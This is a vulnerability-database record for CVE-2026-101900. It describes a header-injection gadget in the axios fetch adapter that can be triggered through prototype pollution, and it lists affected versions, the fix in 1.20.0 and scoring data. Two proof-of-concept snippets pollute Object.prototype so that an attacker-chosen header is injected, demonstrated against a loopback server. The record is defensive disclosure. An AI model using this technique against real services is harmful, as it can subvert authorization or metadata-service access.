{"schema":"threatline.record/2","record":{"id":"CVE-2026-101900","aliases":["GHSA-4hqw-qxg8-jxx2"],"summary":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","details":"## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });\n\nawait axios.post(url, ['a', 'b'], { adapter: 'fetch' });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n<details>\n  <summary><h3>Original report</h3></summary>\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: 'fetch'`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = 'FormData'`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) => new Promise((resolve) => {\n  const server = http.createServer((req, res) => {\n    let body = '';\n    req.on('data', (chunk) => (body += chunk));\n    req.on('end', () => handler(req, res, body));\n  });\n  server.listen(0, '127.0.0.1', () => resolve(server));\n});\n\nconst stop = (server) => new Promise((resolve) => server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) => {\n  hits.push({ headers: req.headers, body });\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype[tag] = 'FormData';\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () => {\n    const headers = Object.create(null);\n    headers['X-Poisoned'] = 'yes';\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {\n    adapter: 'fetch',\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n</details>\n\n---","categories":["Libraries & packages"],"product":"axios","vendor":"axios","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2","source_modified_at":"2026-09-30T15:34:47Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"range":">= 1.12.0, < 1.20.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-101900","source_modified_at":"2026-09-28T17:49:13.106Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"axios","vendor":"axios","versions":[{"version":">= 1.12.0, < 1.20.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4hqw-qxg8-jxx2","source_modified_at":"2026-09-30T15:46:17.701967512Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"ranges":[{"events":[{"introduced":"1.12.0"},{"fixed":"1.20.0"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2","source_modified_at":"2026-09-30T15:34:47Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios"},"version":"1.20.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-4hqw-qxg8-jxx2","source_modified_at":"2026-09-30T15:46:17.701967512Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"axios","purl":"pkg:npm/axios"},"version":"1.20.0"}],"cvss":6.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00546,"percentile":0.45006,"score_date":"2026-10-23"},"published_at":"2026-09-28T17:14:07.108Z","modified_at":"2026-09-30T15:46:17.701967512Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-30T15:34:47Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-101900","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-28T17:49:13.106Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-4hqw-qxg8-jxx2","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-30T15:46:17.701967512Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101900","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101900","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/axios/axios/pull/11141","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/axios/axios/releases/tag/v1.20.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-28T17:48:51.957700Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-30T15:46:17.701967512Z","content_hash":"6ed131d45b1db5aaa958303767ceafa5642310f0394a33aafb3d13edbe26aa86"}}
